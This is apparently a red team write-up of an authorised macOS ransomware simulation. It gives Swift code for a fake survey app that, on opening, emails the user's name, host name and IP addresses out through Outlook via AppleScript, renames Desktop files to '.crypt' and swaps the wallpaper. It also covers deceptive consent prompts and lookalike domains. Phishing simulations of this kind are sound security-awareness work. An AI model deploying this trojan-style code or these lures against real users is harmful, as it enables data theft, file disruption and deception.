Introduction

The GRC section in our organisation wanted to run a ransomware simulation targeting organisation employees. Just like any other corporate environment, most of the employees will be using either Windows or MacOS machines to do their job. We had to target both Windows and MacOS users during the activity.

Since windows operating systems is so widespread and most of the ransomware campaigns are targetted at windows users, we dont hear much about MacOS being targetted by ransomwares. When our GRC team approached the red team with this requirement, we knew that we have to develop something from scratch to target the macOS users and come up with an idea to get the users to execute the program on their Mac machines.

So I was tasked with following.

  1. Develop a proof of concept ransomware for windows and macOS platforms
  2. Run phishing campaign to deliver the ransomware to employees.

However, in this post I will cover only the following topics:

  • Developing a ransomware proof of concept application for macOS/OSX
  • Various challenges faced while implementing various functionalities for the ransomware.

This post will not cover:

  • Ransomware proof of concept for windows.
  • Setting up domain, smtp server, phishing email template etc.
  • Delivery of ransomware proof of concept.

Functionalities

When hearing the term ransomware attack, the first image comes to my mind would be a windows machine screen with ransom note as its wallpaper. Our objective during the campaign was also to acheive similar result.

  1. Change desktop wallpaper of MacOS with ransom note or a message from information security department.
  2. Simulate file encryption behaviour of ransomwares, but in a controlled manner (encrypt files present in specific locations).
  3. Let the ransomware author know that a new victim has executed the ransomeware program.

Implementing the functionalities

Changing Desktop Background

The program will do the following to change the Desktop wallpaper with ransom note or message.

  1. Get the screensize dynamically
  2. Create a black color wallpaper with size of the current screen
  3. Write ransom note/message on the wallpaper and save the image at path /tmp/test.png
  4. Changes the current desktop wallpaper with /tmp/test.png
// For creating NSImage from NSColor
// https://stackoverflow.com/questions/11224131/creating-nsimage-from-nscolor
extension NSImage {
    convenience init(color: NSColor, size: NSSize) {
        self.init(size: size)
        lockFocus()
        color.drawSwatch(in: NSRect(origin: .zero, size: size))
        unlockFocus()
    }
}

// To draw text over image
// https://coderedirect.com/questions/289704/nsimage-getting-resized-when-i-draw-text-on-it
class ImageView : NSView  {

    var image : NSImage
    var text : String

    init(image: NSImage, text: String)
    {
        self.image = image
        self.text = text
        super.init(frame: NSRect(origin: NSZeroPoint, size: image.size))
    }

    required init?(coder decoder: NSCoder) { fatalError() }

    override func draw(_ dirtyRect: NSRect) {
        
        let x_coord = CGFloat(image.size.width / 3)
        let y_coord = CGFloat(image.size.height / 3)
        
//        print (x_coord, y_coord)
        
        let font = NSFont.boldSystemFont(ofSize: 30)
//        let textRect = CGRect(x: x_coord, y: y_coord, width: image.size.width - 5, height: image.size.height - 5)
        let textRect = CGRect(x: x_coord, y: y_coord, width: x_coord, height: y_coord)
        image.draw(in: dirtyRect)
        text.draw(in: textRect, withAttributes: [.font: font, .foregroundColor: NSColor.white])
    }

    var outputImage : NSImage  {
        let imageRep = bitmapImageRepForCachingDisplay(in: frame)!
        cacheDisplay(in: frame, to:imageRep)
        let tiffData = imageRep.tiffRepresentation!
        return NSImage(data : tiffData)!
    }
}

    //    https://stackoverflow.com/questions/31840147/setting-the-desktop-background-on-osx-using-swift-2
        func change_desktop_bg(){
            let screen = NSScreen.main
            let h = Int((screen?.visibleFrame.size.height)!)
            let w = Int((screen?.visibleFrame.size.width)!)
            
            let image_url = URL(fileURLWithPath: "/tmp/test.png")
            
            let ret = build_image(width: w, height: h, savePath: image_url)
            
            if ret {
                do {
                    let workspace = NSWorkspace.shared
                    if (screen != nil)  {
                        try workspace.setDesktopImageURL(image_url, for: screen!, options: [:])
                    }
                } catch {
                    print(error)
                }
            }
        }

    //  https://developer.apple.com/forums/thread/66779
        func build_image(width: Int, height: Int, savePath: URL) -> Bool{
            let SwatchImage = NSImage(color: .black, size: NSSize(width: width, height: height))
            
            let disclaimer : String = "You have fallen victim to a phishing attack, Kindly reach out to Information Security Team <[email protected]>"
            
            // draw text on the nsimage
            let newSwatchimage = draw_text(image: SwatchImage, text: disclaimer)
            
            let imageRep = NSBitmapImageRep(data: newSwatchimage.tiffRepresentation!)
            let pngData = imageRep?.representation(using: NSBitmapImageRep.FileType.png, properties: [:])
            do {
                try pngData?.write(to: savePath)
            } catch {
                print (error)
                return false
            }
            return true
        }
        
        // draw text over image
        func draw_text(image: NSImage, text: String) -> NSImage {
            let view = ImageView(image: image, text: text)
            return view.outputImage
        }

Below is a screenshot of how the desktop wallpaper will look like when the program is run.

Desktop Wallpaper

Encrypting Files

Real ransomwares will encrypt files in the system. During a simulation activity we cannot actually encrypt the files in victims/employees drive as the impact will be huge. To mimic this behaviour, instead of encrypting files, the method will move files to *.crypt extension (test.txt becomes test.crypt).

We decided to target only files in specific locations, for example user’s Desktop directory. The following code snippet implements this behaviour.

    func encrypt(){
        
        //    Enumerate all files in users Desktopp/home
        let url = URL(fileURLWithPath: NSHomeDirectory() + "/Desktop/")
        var files = [URL]()
        if let enumerator = FileManager.default.enumerator(at: url, includingPropertiesForKeys: [.isRegularFileKey], options: [.skipsHiddenFiles, .skipsPackageDescendants]) {
            for case let fileURL as URL in enumerator {
                do {
                    let fileAttributes = try fileURL.resourceValues(forKeys:[.isRegularFileKey])
                    if fileAttributes.isRegularFile! {
                        files.append(fileURL)
                    }
                } catch { print(error, fileURL) }
            }
    //        print(files)
        }
        
    //    Encrypt files
    //    https://stackoverflow.com/questions/54341636/how-to-change-file-extension-using-swift
        for filepath in files {
            let newfilepath = filepath.deletingPathExtension().appendingPathExtension("crypt")
            do {
                try FileManager.default.moveItem(at: filepath, to: newfilepath)
            }
            catch {
                print ("[-] error Moving file" + filepath.absoluteString)
            }
        }
            
    }

Below is a screenshot.

Encryption

Pingback Red Team

When someone actually executed the ransomware program, the red team should know the following information.

  • Details of the victim/employee
  • Time at which victim/employee opened the program
  • The hostname, ip address of the victim/employee machine

I had two ideas in mind.

  1. Send an HTTP POST request to a server we control. (Obviously a server component need to be built which will process and save the incoming data.)
  2. Exfiltrate the details via MS Outlook.

I decided to go with sending an email from victims machine to an email controlled by red team. Applescript was leveraged to open victim’s/employee’s email client (Microsoft Outlook) and send email to red team’s email with all the above details.

The following code snippet implements the pingback functionality.

        // function to send email via outlook using apple script
        func send_mail_applescript(exfilData: String, hostName: String){
            
            //  https://gist.github.com/cthwaite/b8e341a9f68ed156caf07ef503ef3cc8
            var dat = exfilData.replacingOccurrences(of: "\"", with: "'")
            dat = dat.replacingOccurrences(of: "%", with: "_")
            dat = dat.replacingOccurrences(of: "\\", with: " ")
            
            let outlook_email = """
                tell application "Microsoft Outlook" to launch
                delay 2
                tell application "Microsoft Outlook"
                    set theContent to "Exfiltrated Content = \(dat)"
                    -- substitute 'plain text content' for 'content' if you don't want to use HTML
                    set theMessage to make new outgoing message with properties {subject:"Ransomware Activity Victim - \(hostName) - \(Date().description)", content:theContent}
                    make new recipient with properties {email address:{address:"[email protected]"}} at end of to recipients of theMessage
                    -- recipient type can be 'to recipient', 'cc recipient' or 'bcc recipient'
                    make new recipient with properties {email address:{address:"[email protected]"}} at end of cc recipients of theMessage
                    -- optionally open the message instead...
                      -- open theMessage
                    send theMessage
                end tell
                """
            run_applescript(apple_script: outlook_email)
        }
    
    //  https://medium.com/macoclock/everything-you-need-to-do-to-launch-an-applescript-from-appkit-on-macos-catalina-with-swift-1ba82537f7c3
    func run_applescript(apple_script: String) {
        if let script = NSAppleScript(source: apple_script) {
            var error: NSDictionary?
            script.executeAndReturnError(&error)
            if let err = error {
                print(err)
            }
        }
    }

The following code snippet collects required details from the victims system. Which is then passed to the send_mail_applescript() function to send the email to red team.

    func enum_system() -> Dictionary<String, String> {
        let systeminfo:[String:String] = [
            "userName" : NSUserName(),
            "userFullName" : NSFullUserName(),
            "userHome" : NSHomeDirectory(),
            "tmpDir" : NSTemporaryDirectory(),
            "deviceName" : (Host.current().localizedName!) as String,
            "ipAddresses" : Host.current().addresses.description,
            "currentDate" : Date().description,
            "osVersion" : ProcessInfo.processInfo.operatingSystemVersionString
        ]
        
        return systeminfo
    }

Designing and Implementing the UI

Our idea was to theme the ransomware campaign as an employee satisfaction survey. Hence, we ended up creating a survey application which will ask the user basic questions like employee id, name and some other questions.

The following is how the UI of the ransomware application would look like.

Survey-01

Below code snippet implements the survey logic.

class ViewController: NSViewController {
    
    @IBOutlet weak var imageView: NSImageView!
    @IBOutlet weak var welcomeLabel: NSTextField!
    @IBOutlet weak var answerFld: NSTextField!
    
    @IBOutlet weak var btnText: NSTextField!
    
    @IBOutlet weak var theButton: NSButton!
    var ClickCounter = 0
    override func viewDidLoad() {
        super.viewDidLoad()

        answerFld.isHidden = true
        do_stuff()
    }

    override var representedObject: Any? {
        didSet {
        // Update the view, if already loaded.
        }
    }

    @IBAction func SrveyBtnClick(_ sender: Any) {
        var txt: String = ""
        
        switch ClickCounter {
        case 0:
            
            answerFld.isHidden = false
            answerFld.layer?.borderWidth = 0.25
            answerFld.layer?.borderColor = NSColor.blue.cgColor
            answerFld.placeholderAttributedString = NSAttributedString(
                string: "EMPID-####",
                attributes: [NSAttributedString.Key.foregroundColor: NSColor.lightGray]
            )
            
            btnText.stringValue = "Next"
            txt = "Please enter your Employee ID."
            break
        case 1:
            txt = "How long have you been with ORG-X?"
            answerFld.placeholderAttributedString = NSAttributedString(
                string: "X (Years/Months)",
                attributes: [NSAttributedString.Key.foregroundColor: NSColor.lightGray]
            )
            break
        case 2:
            txt = "Are you comfortable working with ORG-X?"
            answerFld.placeholderAttributedString = NSAttributedString(
                string: "YES/NO",
                attributes: [NSAttributedString.Key.foregroundColor: NSColor.lightGray]
            )
            break
        case 3:
            txt = "On a scale of 1-10, rate your work satisfaction"
            answerFld.placeholderAttributedString = NSAttributedString(
                string: "1-10",
                attributes: [NSAttributedString.Key.foregroundColor: NSColor.lightGray]
            )
            break
        case 4:
            
            answerFld.isHidden = true
            btnText.stringValue = "End"
            
            txt = "Thank you for participating in the survey."
            break
        case 5:
            NSApplication.shared.terminate(self)
            break
        default:
            txt = ""
        }
        
        welcomeLabel.stringValue = txt
        ClickCounter += 1
    }

// trimmed
// ...

}

Below is another screenshot of survey application once the user clicks start.

Survey-02

Invoking Ransomware Functionalities

We decided that all the ransomware related functions should be invoked as soon the application is opened irrespective of whether the employee actually finishes the survey. Ultimately our objective is to trick the employee/victim to open the application. In order to achieve this, a function named do_stuff() is called from the viewDidLoad() method of the ViewController. This ensures that as soons the application is loaded, the function do_stuff() is invoked and thereby all the ransomware related functions are also invoked.

The functionalities are invoked in below order.

  1. Sending email with user’s details to red team - send_mail_applescript()
  2. File encryption - encrypt()
  3. Change desktop wallpaper - change_desktop_bg()

Below code snippet implements the same.

class ViewController: NSViewController {
    // code trimmed
    // .....
    override func viewDidLoad() {
        super.viewDidLoad()

        answerFld.isHidden = true
        do_stuff()
    }
// code trimmed
// .....

    func do_stuff(){
        print ("[+] Exfiltrating Data via Email")
        let systeminfo = enum_system()
        send_mail_applescript(exfilData: prettyPrint(with: systeminfo), hostName: systeminfo["deviceName"]!)

        print ("[+] Encrypting User Directory")
        encrypt()

        // Change wallpaper only at the end to avoid suspicion
        print ("[+] Changing Desktop BG")
        change_desktop_bg()       
    }
// code trimmed
// .....
}

Challenges

Challenge 1 - MacOS/OSX Gatekeeper

Below is an excerpt from apple about Gatekeeper.

macOS includes a technology called Gatekeeper, which is designed to ensure that, by default, only trusted software runs on a user’s Mac. When a user downloads and opens an app, a plug-in, or an installer package from outside the App Store, Gatekeeper verifies that the software is from an identified developer, is notarized by Apple to be free of known malicious content, and hasn’t been altered. Gatekeeper also requests user approval before opening downloaded software for the first time to make sure the user hasn’t been tricked into running executable code they believed to simply be a data file.

Gatekeeper References:

Warning Pop-up 01 - Downloaded From Internet

Since the application was originating from outside appstore and is delivered over internet, when user attempts to open the application, gatekeeper shows a popup warning to the user and lets the user know that the application is downloaded from internet. If user provides approval, application will open.

Internet Download Warning

Note: Host it on a domain which looks similar to one of organisations legitimate domain.

Challenge 2 - macOS 10.15+ Security Mechanisms

Since macOS 10.15, all apps must obtain user consent before accessing files in Documents, Downloads, Desktop, iCloud Drive, and network volumes. Below is an excerpt from apples documentation on “Controlling app access to files in macOS”.

Apple believes that users should have full transparency, consent, and control over what apps are doing with their data. In macOS 10.15, this model is enforced by the system to help ensure that all apps must obtain user consent before accessing files in Documents, Downloads, Desktop, iCloud Drive, and network volumes. In macOS 10.13 or later, apps that require access to the full storage device must be explicitly added in System Preferences. In addition, accessibility and automation capabilities require user permission to help ensure they don’t circumvent other protections. Depending on the access policy, users may be asked to, or required to, change the setting in System Preferences > Security & Privacy > Privacy:

Reference:

Warning Pop-up 02 - Application wants to control Outlook

Since we are using applescript to send email to red team email address using outlook, because of security controls introduced since macOS 10.15+, a prompt is shown which lets the user know about application attempting to control outlook and asks for users approval. If the user does not allow permission, the program will not send email.

Outlook Access Warning

Note: The message in the popup is a custom message specified in the Info.plist file. Refer below.

Warning Pop-up 03 - Desktop Access Warning

Since we implemented methods to encrypt files in the ~/Desktop, the ransomware application will need acess to files in ~/Desktop. A prompt is shown to the user to provide the appproval.

Outlook Access Warning

Did we overcome the challanges?

TL;DR - We did not and decided to proceed with the all the popups.

All the warnings we seen so far are due the security controls present in macOS operating system. Overcoming them would mean that we found a way to bypass these security mechanisms, or a bug in the implementation. To be frank we didn’t go that route of finding a zero day nor did we have the time and decided to keep everything as is. We wanted to see how the employees in our organisation would respond if they receive an untrusted application. We let the leadership know about the warning popups and they were also okay with the idea of testing the employees with such a scenario.

However, we added the following tweaks to make the prompts appear more convincing and trick the employee to allow required permissions.

  1. Customized message in outlook access popup in the Info.plist file - Refer below.
  2. Added wordings to the phishing template that, to run the survey application sucessfully, the employee has to allow all required permissions.

Other issues and solutions

1. Application not prompting the user for access to outlook and failing to send email

To resolve the issue, the following lines need to be added to info.plist file.

<key>NSAppleEventsUsageDescription</key>
<string>Kindly provide access to fetch user email address.</string>

Reference:

2. Ransomware application unable to access files in Desktop

Application sandboxing need to be removed to allow the application to access files. Remove the application sandboxing section from project signing and capabilities page.

Reference:

Outcome

We ran the ransomware phishing campaign against a certain number of users and sadly 😈 some of them opened the attachment, allowed all the permission requests. From a red teams perspective I would say our campaign was successfull. Below is a screenshot of the email sent from the victim/employee machine.

Victim Email